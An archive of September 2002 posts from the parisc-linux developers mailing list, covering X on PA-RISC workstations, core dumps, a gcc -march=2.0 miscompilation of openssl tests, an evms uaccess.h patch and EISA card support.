X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16316

untested, prebuilt pre1v2 debs here:
http://gsyprf11.external.hp.com/hppa/xfree86_4.2.1-0pre1v2/

these built with no extra patches. nice :^).

grant


From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Haydon <jhaydon@attbi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xwindows
Date: Sat, 28 Sep 2002 09:13:39 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <3D95AB03.9030706@attbi.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621776 14839 80.91.229.3 (22 Nov 2014 02:02:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 28 07:13:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sccrmhc01.attbi.com (sccrmhc01.attbi.com [204.127.202.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id A73CA4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Sep 2002 07:13:42 -0600 (MDT)
Original-Received: from attbi.com ([66.56.46.164]) by sccrmhc01.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020928131335.EZXW6431.sccrmhc01.attbi.com@attbi.com>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 28 Sep 2002 13:13:35 +0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16317

I got a  9000/715 100 that I have Debian 3.0 everything works except for 
X.  What do I have to do to make X work?

James






From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xwindows
Date: Sat, 28 Sep 2002 15:49:11 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <3D95CF77.3080508@freebel.net>
References: <3D95AB03.9030706@attbi.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621777 14842 80.91.229.3 (22 Nov 2014 02:02:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Haydon <jhaydon@attbi.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 28 08:44:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64105482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Sep 2002 08:44:06 -0600 (MDT)
Original-Received: from freebel.net (62.235.70.239) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D8F0113002030AC; Sat, 28 Sep 2002 16:44:02 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16318

Hi James,

Just start to have a look at ml:

http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017688.html

You could also have a look earlier in this ml, there are other advises 
concerning X and 715 (HIL mouse?).

Good luck,
	Joel


James Haydon wrote:
> I got a  9000/715 100 that I have Debian 3.0 everything works except for 
> X.  What do I have to do to make X work?
> 
> James
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to obtain a core dump
Date: Sat, 28 Sep 2002 17:41:11 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <3D95E9B7.2080209@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621777 14844 80.91.229.3 (22 Nov 2014 02:02:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 28 10:36:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87F9A4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Sep 2002 10:36:04 -0600 (MDT)
Original-Received: from freebel.net (62.235.70.239) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D8EFFDE0001502A; Sat, 28 Sep 2002 18:36:02 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16319

Hi all,

Testing evms 1.1.0, I got a segfault with evmsgui on hppa but I do not 
obtain any core dump to analyse by back trace in gdb the origine of this 
  problem (the ncurses tool do present this default).

Is someonr can explain me what should I do to obtain a core dump when 
this kind of problem occurs?

Thanks in advance,
	Joel



From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to obtain a core dump
Date: Sat, 28 Sep 2002 13:02:23 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200209281702.g8SH2ND4019187@hiauly1.hia.nrc.ca>
References: <3D95E9B7.2080209@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621777 14847 80.91.229.3 (22 Nov 2014 02:02:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 28 11:04:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA9594829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Sep 2002 11:04:25 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g8SH2O00019191;
	Sat, 28 Sep 2002 13:02:25 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g8SH2ND4019187;
	Sat, 28 Sep 2002 13:02:23 -0400 (EDT)
In-Reply-To: <3D95E9B7.2080209@freebel.net> from "Joel Soete" at Sep 28, 2002 05:41:11 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16320

> Is someonr can explain me what should I do to obtain a core dump when 
> this kind of problem occurs?

Type "ulimit -a" to see your current limit settings.  The core size
limit can be changed with "ulimit -c".  Your current core size limit
is probably too small.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FWD: Bug#162690: [parisc]gcc 3.x produces openssl test code that SEGVs with -march=2.0  and optimization >0
Date: Sat, 28 Sep 2002 10:59:51 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <20020928175951.GB6868@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621778 14851 80.91.229.3 (22 Nov 2014 02:02:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 28 11:55:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E7294829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Sep 2002 11:55:45 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 2C526CD83C; Sat, 28 Sep 2002 10:59:51 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16321

perhaps someone here can look at this?

randolph

----- Forwarded message from Kevin Carson <kevincarson@shaw.ca> -----

Subject: Bug#162690: [parisc]gcc 3.x produces openssl test code that SEGVs with -march=2.0  and optimization >0
Reply-To: Kevin Carson <kevincarson@shaw.ca>, 162690@bugs.debian.org
Date: Sat, 28 Sep 2002 10:21:01 -0700
From: Kevin Carson <kevincarson@shaw.ca>
To: submit@bugs.debian.org
X-Mailing-List: <debian-gcc@lists.debian.org> archive/latest/3552

Package: gcc

Running Debian unstable on PA-RISC platform  (C160 Workstation with 160MHz
PA-8000 CPU)

Compiling openssl 0.9.6g with any level of optimization for PA1.1 produces
code that passes all tests ("make test") and benchmarks ("openssl speed")
successfully.  Using -march=2.0 flag produces code that only runs
successfully at optimization level "-O0"  Any higher optimization fails some
of the test suite (reliably in test/exptest.c for instance).

I've observed this problem with gcc 3.0.4-8 and gcc-3.2.1-0pre2

libc6 2.2.5-14.3

"linux-parisc" configuration string in openssl Configure script for
successful run is
"gcc-3.2:-DB_ENDIAN -DNO_ASM -DTERMIO -O0 -march=2.0 -Wall::::::"

"linux-parisc" configuration string in openssl Configure script for failed
run is "gcc-3.2:-DB_ENDIAN -DNO_ASM -DTERMIO -O1 -march=2.0 -Wall::::::"

Run test by:

cd openssl-0.9.6g
<edit Configure to contain string above in single line>

make clean
./Configure linux-parisc
make test

if optimization is >0 run will fail with segmentation violation in exptest
(tests various operations on the big number library)

Kevin



-- 
To UNSUBSCRIBE, email to debian-gcc-request@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org

----- End forwarded message -----


From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] uaccess.h patch for new evms-1.1.0: correct?
Date: Sat, 28 Sep 2002 21:20:14 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <3D961D0E.4060806@freebel.net>
References: <3D8F01140000102A@ocpmta2.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621778 14854 80.91.229.3 (22 Nov 2014 02:02:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 28 14:15:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A5684829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Sep 2002 14:15:07 -0600 (MDT)
Original-Received: from freebel.net (62.235.69.82) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D8F07AA0020F06D; Sat, 28 Sep 2002 22:15:04 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16322

Hi all,

Is somebody have some sample test program to stress this patch (so that 
I can consumme all available vm) to verify that it reports well the 
erronious memory access?

Thanks in advance,
	Joel


jsoe0708@tiscali.be wrote:
> Hi all,
> 
> As I not find "std" emulation (gcc report 'Internal compiler error... PLease
> submit a full bug report...) and not more the D, M, L mips prefix (to access
> different 32bits part of a 64bits lon long), here is what I proprose as uaccess.h
> patch.
> 
> Can someone have a look and advise me if I made any error?
> 
> Thanks in advance for help,
>     Joel
> 
> PS: Functionaly it seems to work to make evms 1.1.0 works
> 
> 



From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FWD: Bug#162690: [parisc]gcc 3.x produces openssl test code that SEGVs with -march=2.0  and optimization >0
Date: Sat, 28 Sep 2002 18:32:57 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200209282232.g8SMWwCB022391@hiauly1.hia.nrc.ca>
References: <20020928175951.GB6868@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621778 14857 80.91.229.3 (22 Nov 2014 02:02:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 28 16:33:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D85274829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Sep 2002 16:33:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g8SMWx00022395
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Sep 2002 18:33:00 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g8SMWwCB022391;
	Sat, 28 Sep 2002 18:32:58 -0400 (EDT)
In-Reply-To: <20020928175951.GB6868@tausq.org> from "Randolph Chung" at Sep 28, 2002 10:59:51 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16323

> Package: gcc
> 
> Running Debian unstable on PA-RISC platform  (C160 Workstation with 160MHz
> PA-8000 CPU)
> 
> Compiling openssl 0.9.6g with any level of optimization for PA1.1 produces
> code that passes all tests ("make test") and benchmarks ("openssl speed")
> successfully.  Using -march=2.0 flag produces code that only runs
> successfully at optimization level "-O0"  Any higher optimization fails some
> of the test suite (reliably in test/exptest.c for instance).

There is a known issue with the assembler and linker with PA-RISC 2.0 code.
The relocations generated for floating-point loads and stores are wrong
in some cases.  Until this problem is fixed, I don't recommend using
-march=2.0.  This is part of the reason the default architecture is
still PA-RISC 1.1.  I don't think you can build gcc with -march=2.0
either.  There isn't a huge benefit in PA-RISC 2.0 in 32-bit mode.

I believe that this is not a problem with the 64-bit assembler and
linker.  However, there isn't a 64-bit userspace yet :(

If you think that you can contribute to resolving these issues, then
I encourage you to investigate further and determine what causes
the seg faults.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 100 Base-T Ethernet card drivers / 3COM
Date: Sat, 28 Sep 2002 23:51:05 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20020929055105.496884829@dsl2.external.hp.com>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCE0@wing-ep.tip.csiro.au> <20020926031956.A5179@parcelfarce.linux.theplanet.co.uk> <3D935BCC.4060002@gmx.de> <20020926201238.G28188@parcelfarce.linux.theplanet.co.uk>  <20020927114226.A1112@azrael.smilehouse.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621779 14861 80.91.229.3 (22 Nov 2014 02:02:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Harri Haataja <harri.haataja@cs.helsinki.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 28 23:51:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 496884829; Sat, 28 Sep 2002 23:51:05 -0600 (MDT)
In-Reply-To: Message from Harri Haataja <harri.haataja@cs.helsinki.fi> 
   of "Fri, 27 Sep 2002 11:42:27 +0300." <20020927114226.A1112@azrael.smilehouse.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16324

Harri Haataja wrote:
> Wouldn't it be worth it putting together a small list (or even an active
> web page) of working devices of any kind on HP-PA hardware?
> Or maybe just limited to (E)ISA and pci cards or such?

ESIEE folks maintain a page for systems:
	http://pateam.esiee.fr/list.html

Please model after that example and send it to them.
They might add it to that page. I don't know if they want to maintain
something like that and I think they have enough to do already.
A problem with maintaining this is even if a PCI card works on B180
doesn't mean it will work on C3000 or A500.

In general, I expect hppa-linux to support the same cards as sparc64/
mips64/powerpc/alpha ports.  I would include "ia64" but itanic IO and
HP ZX1 IO are like comparing x86 IO and parisc IO subsystems (HW).

grant


From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Serial MUX
Date: Sun, 29 Sep 2002 21:09:24 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <20020929180739.27FFE4829@dsl2.external.hp.com>
Reply-To: Stephan <stephan@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1";
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621779 14868 80.91.229.3 (22 Nov 2014 02:02:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:59 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 29 12:07:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 27FFE4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Sep 2002 12:07:39 -0600 (MDT)
Original-Received: (qmail 9734 invoked from network); 29 Sep 2002 18:09:24 -0000
Original-Received: from softdnserror (HELO Godzilla) (httpd@212.72.204.1)
  by softdnserror with SMTP; 29 Sep 2002 18:09:24 -0000
Original-Received: from client 212.72.196.10 for UebiMiau (webmail client); Sun, 29 Sep 2002 21:09:24 +0200
X-Priority: 3
X-Mailer: Godzilla 1.0
X-MSMail-Priority: Medium
Importance: Medium
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
